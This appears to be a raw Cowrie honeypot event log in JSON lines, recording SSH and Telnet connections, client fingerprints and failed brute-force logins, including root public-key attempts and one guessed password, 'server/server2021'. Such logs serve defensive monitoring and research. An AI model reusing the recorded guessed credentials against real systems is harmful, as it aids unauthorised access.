{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:81:81:10:28:e3:b9:f7:67:88:d2:bd:9e:f7:a2:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5RoMP83KceJCV69+VzJNRoZJEnwVAn3aYnLUqEQQXGF2WHBzlEsyo3wtUEPLZBXSLz0z1vo3L1lxWdY1Li0QXb0JzdIinosGwLfjCyHdSGRmfUR/McYfDMglNqy6Fzy8X34NvcrDYdfmPjY/LXc/swSxkXSXt0Ckb/WeAj+U4A69a6PukblqU3aSaKOmOFCsXAwd9vORxAQSYpam+gSWoQuRjSEV/aJ7WOyxxk2WXESTrqMytQfibsM40AcYxMzq1TMByimThz2QTc0i68WlcG2NWVIdiL0pspyyueu8TaOejvb4OHMg94qg2H5AYnrPgqR3fhxirXADgCi49Hzfv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:81:81:10:28:e3:b9:f7:67:88:d2:bd:9e:f7:a2:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:12:17.179722Z","src_ip":"186.233.184.67","session":"2ddb4e76a90e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:81:81:10:28:e3:b9:f7:67:88:d2:bd:9e:f7:a2:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5RoMP83KceJCV69+VzJNRoZJEnwVAn3aYnLUqEQQXGF2WHBzlEsyo3wtUEPLZBXSLz0z1vo3L1lxWdY1Li0QXb0JzdIinosGwLfjCyHdSGRmfUR/McYfDMglNqy6Fzy8X34NvcrDYdfmPjY/LXc/swSxkXSXt0Ckb/WeAj+U4A69a6PukblqU3aSaKOmOFCsXAwd9vORxAQSYpam+gSWoQuRjSEV/aJ7WOyxxk2WXESTrqMytQfibsM40AcYxMzq1TMByimThz2QTc0i68WlcG2NWVIdiL0pspyyueu8TaOejvb4OHMg94qg2H5AYnrPgqR3fhxirXADgCi49Hzfv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:12:17.183464Z","src_ip":"186.233.184.67","session":"2ddb4e76a90e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:70:de:67:f2:25:34:82:c0:ed:71:82:4d:3d:2f:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjMOcaTN0unx/xQum9pmGJbZNQRL9gja0mpl+MhM0iQmfO2A3wU6zgS0bKQ9B8zXaWqRtIGd8cTzFS/hKATjcvTM7yyFJEM1i7emEsHuaHjEukDdY2e6FwNBter9tCefYCXu2ommww0svgMYUBhhoJ+gK2/oicKJWNj5PhztPCrhAyuG8joHdyiL58Hpb4f4JCYmm+j40iDPerkUpPx0IKfq4RWgTbvVeHk+A/n9JAZs5meh4YOexUH4SUgStGY/U2rgbF1XFFtNQ/OvioLzgnw0X6tO1lF27y8WcxDUyO9uJ9EBNN4n9Kt9NHk0S6lqZtoaNMzT7aGGFnIo77ODCr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:70:de:67:f2:25:34:82:c0:ed:71:82:4d:3d:2f:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:12:17.223203Z","src_ip":"186.233.184.67","session":"2ddb4e76a90e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:70:de:67:f2:25:34:82:c0:ed:71:82:4d:3d:2f:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjMOcaTN0unx/xQum9pmGJbZNQRL9gja0mpl+MhM0iQmfO2A3wU6zgS0bKQ9B8zXaWqRtIGd8cTzFS/hKATjcvTM7yyFJEM1i7emEsHuaHjEukDdY2e6FwNBter9tCefYCXu2ommww0svgMYUBhhoJ+gK2/oicKJWNj5PhztPCrhAyuG8joHdyiL58Hpb4f4JCYmm+j40iDPerkUpPx0IKfq4RWgTbvVeHk+A/n9JAZs5meh4YOexUH4SUgStGY/U2rgbF1XFFtNQ/OvioLzgnw0X6tO1lF27y8WcxDUyO9uJ9EBNN4n9Kt9NHk0S6lqZtoaNMzT7aGGFnIo77ODCr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:12:17.227404Z","src_ip":"186.233.184.67","session":"2ddb4e76a90e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:cb:4d:1f:f9:63:3f:a6:0d:66:b9:b0:8f:22:84:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVV9KI72EbL5efs84qo9VAauw867YQHqCWQksT9dnhXY9tyumSk/pD9ryZ/E67w3EY2ALd86uwYfQkv5ydhFb0NiHamdcyUifbdd2GvGSpiUPoaoEjIdnnzv8i3UgclqKyMHaUeakxqGkpQqBpVTQNQllxcbxXF1Gv9q9U6ANT6k4KIwFAHKuR7K0V9TJuZz/vNVRhmrE3djcp2lPLkhq/pz4fFYbshihwcc93pnyhXsalCecwcM997G8seAxExincmhBOQcjeWhbSy1ofRTHwh3ywIUb66VKn9soTwGkTApvlyw/ke/L4EaQbt4rHZJQxV83AWMcVlJUpGJFjL977","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:cb:4d:1f:f9:63:3f:a6:0d:66:b9:b0:8f:22:84:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:12:17.270349Z","src_ip":"186.233.184.67","session":"2ddb4e76a90e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:cb:4d:1f:f9:63:3f:a6:0d:66:b9:b0:8f:22:84:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVV9KI72EbL5efs84qo9VAauw867YQHqCWQksT9dnhXY9tyumSk/pD9ryZ/E67w3EY2ALd86uwYfQkv5ydhFb0NiHamdcyUifbdd2GvGSpiUPoaoEjIdnnzv8i3UgclqKyMHaUeakxqGkpQqBpVTQNQllxcbxXF1Gv9q9U6ANT6k4KIwFAHKuR7K0V9TJuZz/vNVRhmrE3djcp2lPLkhq/pz4fFYbshihwcc93pnyhXsalCecwcM997G8seAxExincmhBOQcjeWhbSy1ofRTHwh3ywIUb66VKn9soTwGkTApvlyw/ke/L4EaQbt4rHZJQxV83AWMcVlJUpGJFjL977","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:12:17.273910Z","src_ip":"186.233.184.67","session":"2ddb4e76a90e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:d4:d4:ee:2b:2e:a4:0c:f6:a5:22:03:df:2b:3d:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDcW9gO/O07RFP+KdWzlo7fqqfWFJ+kdL3i0xKKtkRMASSbpJo3j7YYC9w2cF2K802edC79KQdrDUjLu/D1PdOCmoImrzZ72B/N9mbllwp37q77vCdiy2OWYI1pnlvTlRtX5FireSWVDVWIjnqUM5jcHZJHdiMN+opRKb/IHuJ8vFQGN+XqM/tAy+1J43p5QbvnKAI64yZuvsv4KaS22FzfDugyClciugZ+CS7EEvdA8SIdtZBpDQZzaWIQbU20zbiQ6YdVq+bqZNR3ZIG0ypeErBQMv5l5P6CPKr0nDiIk4umEz0+XvzdxaDpUwkMjnUXf9ZN1Zh6hEnU5X234Hr3OwPkvKzZAcmGo9RxvVFZQbWGv20u1CT/ygENURV+On/6w+s9lPEfzHbfPBXiXP4GrpRAs8czzYG5naCBXd7mbLhvMtHj7io4fRFAA+TXPaFOvQKvaprecNlsxiHeV8eSzJOag5lrKPdYdmA+QNyIxl+zHb5tJ1oM/V0tXFmU1wG8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:d4:d4:ee:2b:2e:a4:0c:f6:a5:22:03:df:2b:3d:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:12:17.312705Z","src_ip":"186.233.184.67","session":"2ddb4e76a90e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:d4:d4:ee:2b:2e:a4:0c:f6:a5:22:03:df:2b:3d:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDcW9gO/O07RFP+KdWzlo7fqqfWFJ+kdL3i0xKKtkRMASSbpJo3j7YYC9w2cF2K802edC79KQdrDUjLu/D1PdOCmoImrzZ72B/N9mbllwp37q77vCdiy2OWYI1pnlvTlRtX5FireSWVDVWIjnqUM5jcHZJHdiMN+opRKb/IHuJ8vFQGN+XqM/tAy+1J43p5QbvnKAI64yZuvsv4KaS22FzfDugyClciugZ+CS7EEvdA8SIdtZBpDQZzaWIQbU20zbiQ6YdVq+bqZNR3ZIG0ypeErBQMv5l5P6CPKr0nDiIk4umEz0+XvzdxaDpUwkMjnUXf9ZN1Zh6hEnU5X234Hr3OwPkvKzZAcmGo9RxvVFZQbWGv20u1CT/ygENURV+On/6w+s9lPEfzHbfPBXiXP4GrpRAs8czzYG5naCBXd7mbLhvMtHj7io4fRFAA+TXPaFOvQKvaprecNlsxiHeV8eSzJOag5lrKPdYdmA+QNyIxl+zHb5tJ1oM/V0tXFmU1wG8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:12:17.316632Z","src_ip":"186.233.184.67","session":"2ddb4e76a90e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:12:db:91:e4:07:53:12:13:1f:cf:9d:0d:39:ec:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCitbdDxr1/EWdef1MYaj8JO2MwD3gtNK9N/3g5SP5JhlkcZqagf4r7HqIqhHy5nYt+leIUo+4daP71mas+sLBZBnpblN6h3jNTAPp/tuxsTXUZ3j6K3PI1aaSCl3JmcHk4VCahVi0mumHfh9XLg/H1jA7aWcq7lXyldBVIOGaU2PoBVkGdYTsoBmcpQJwJo1xb2kswzoA3JM2PcA8D+vqMwjyswl7xskA4+neqXsMQafRh8O1FAztUmyTatPzcKGoIvG8YDXJJESRYhzmez67c83MXlcbW1b+E50CaVGHTR+FS1Gb843/FDtdB2qKnMFvxISJFSKOBrCWTMDje2Gb/f62uT4BoxVH534HuaaHoPpQsx0eDC10UfAEZRCAaWOmXzL6KpRIeN/+/lK4gBWvfZN7IAcXOni653uzDQvS3v2OSBCyCBqqvXCj0j0a7C9I06rIYO656jxYMvKth9dh78xyUOhuFwEGb3QVJvfAZ9ePik78zmp0db3JtNeT5FbF/qSrwEn7imCk5kC3/i+ZnBX9OsvgmYf8LjSuE2G2iduuQRiQR661Wa7vca43e3QYFavNni4uFdkLztC4kRdMGYckK94sWvm5+AcJTtkca8HlWJ44b1w0i6wO5ljFopIe2AF5nv+sBXKK7ZT6wXK509hvtFCTioMpJJIrVIs7U1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f4:12:db:91:e4:07:53:12:13:1f:cf:9d:0d:39:ec:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:12:17.356637Z","src_ip":"186.233.184.67","session":"2ddb4e76a90e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:12:db:91:e4:07:53:12:13:1f:cf:9d:0d:39:ec:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCitbdDxr1/EWdef1MYaj8JO2MwD3gtNK9N/3g5SP5JhlkcZqagf4r7HqIqhHy5nYt+leIUo+4daP71mas+sLBZBnpblN6h3jNTAPp/tuxsTXUZ3j6K3PI1aaSCl3JmcHk4VCahVi0mumHfh9XLg/H1jA7aWcq7lXyldBVIOGaU2PoBVkGdYTsoBmcpQJwJo1xb2kswzoA3JM2PcA8D+vqMwjyswl7xskA4+neqXsMQafRh8O1FAztUmyTatPzcKGoIvG8YDXJJESRYhzmez67c83MXlcbW1b+E50CaVGHTR+FS1Gb843/FDtdB2qKnMFvxISJFSKOBrCWTMDje2Gb/f62uT4BoxVH534HuaaHoPpQsx0eDC10UfAEZRCAaWOmXzL6KpRIeN/+/lK4gBWvfZN7IAcXOni653uzDQvS3v2OSBCyCBqqvXCj0j0a7C9I06rIYO656jxYMvKth9dh78xyUOhuFwEGb3QVJvfAZ9ePik78zmp0db3JtNeT5FbF/qSrwEn7imCk5kC3/i+ZnBX9OsvgmYf8LjSuE2G2iduuQRiQR661Wa7vca43e3QYFavNni4uFdkLztC4kRdMGYckK94sWvm5+AcJTtkca8HlWJ44b1w0i6wO5ljFopIe2AF5nv+sBXKK7ZT6wXK509hvtFCTioMpJJIrVIs7U1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:12:17.360018Z","src_ip":"186.233.184.67","session":"2ddb4e76a90e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:12:17.399016Z","src_ip":"186.233.184.67","session":"2ddb4e76a90e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":36472,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c8f649fbba3","protocol":"ssh","message":"New connection: 154.81.14.172:36472 (10.17.0.5:22) [session: 5c8f649fbba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:12:32.816337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:12:32.821111Z","src_ip":"154.81.14.172","session":"5c8f649fbba3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:12:48.425272Z","src_ip":"154.81.14.172","session":"5c8f649fbba3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:12:48.432848Z","src_ip":"154.81.14.172","session":"5c8f649fbba3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:12:57.978674Z","src_ip":"154.81.14.172","session":"330186fc144a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53394,"dst_ip":"159.203.135.109","dst_port":23,"session":"0166a2ed4a92","protocol":"telnet","message":"New connection: 135.148.33.91:53394 (159.203.135.109:23) [session: 0166a2ed4a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:13:18.688371Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":28000,"dst_ip":"10.17.0.5","dst_port":22,"session":"0516be60c8bf","protocol":"ssh","message":"New connection: 194.59.206.2:28000 (10.17.0.5:22) [session: 0516be60c8bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:13:23.192685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:13:23.198308Z","src_ip":"194.59.206.2","session":"0516be60c8bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:13:23.289339Z","src_ip":"194.59.206.2","session":"0516be60c8bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:13:23.389804Z","src_ip":"194.59.206.2","session":"0516be60c8bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.78303575515747,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:13:52.471285Z","src_ip":"135.148.33.91","session":"0166a2ed4a92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":53150,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c17fc54a7f8","protocol":"ssh","message":"New connection: 154.81.14.172:53150 (10.17.0.5:22) [session: 9c17fc54a7f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:14:08.954796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:14:08.960307Z","src_ip":"154.81.14.172","session":"9c17fc54a7f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":58054,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4bbe2516ff6","protocol":"telnet","message":"New connection: 135.148.33.91:58054 (159.203.135.109:23) [session: d4bbe2516ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:14:13.339315Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.34.124.175","src_port":57203,"dst_ip":"159.203.135.109","dst_port":23,"session":"940232cc9ffb","protocol":"telnet","message":"New connection: 179.34.124.175:57203 (159.203.135.109:23) [session: 940232cc9ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:14:22.673320Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:14:25.198842Z","src_ip":"154.81.14.172","session":"9c17fc54a7f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.2","message":"Connection lost after 16.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:14:25.206790Z","src_ip":"154.81.14.172","session":"9c17fc54a7f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":56302,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b0fd41b2afa","protocol":"ssh","message":"New connection: 187.212.47.18:56302 (10.17.0.5:22) [session: 2b0fd41b2afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:14:25.827160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:14:25.832677Z","src_ip":"187.212.47.18","session":"2b0fd41b2afa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:14:26.093704Z","src_ip":"187.212.47.18","session":"2b0fd41b2afa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server2021","message":"login attempt [server/server2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:14:26.430971Z","src_ip":"187.212.47.18","session":"2b0fd41b2afa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:14:27.510335Z","src_ip":"187.212.47.18","session":"2b0fd41b2afa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.528353929519653,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:14:35.201413Z","src_ip":"179.34.124.175","session":"940232cc9ffb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.10531997680664,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:14:51.444525Z","src_ip":"135.148.33.91","session":"d4bbe2516ff6","protocol":"telnet"}
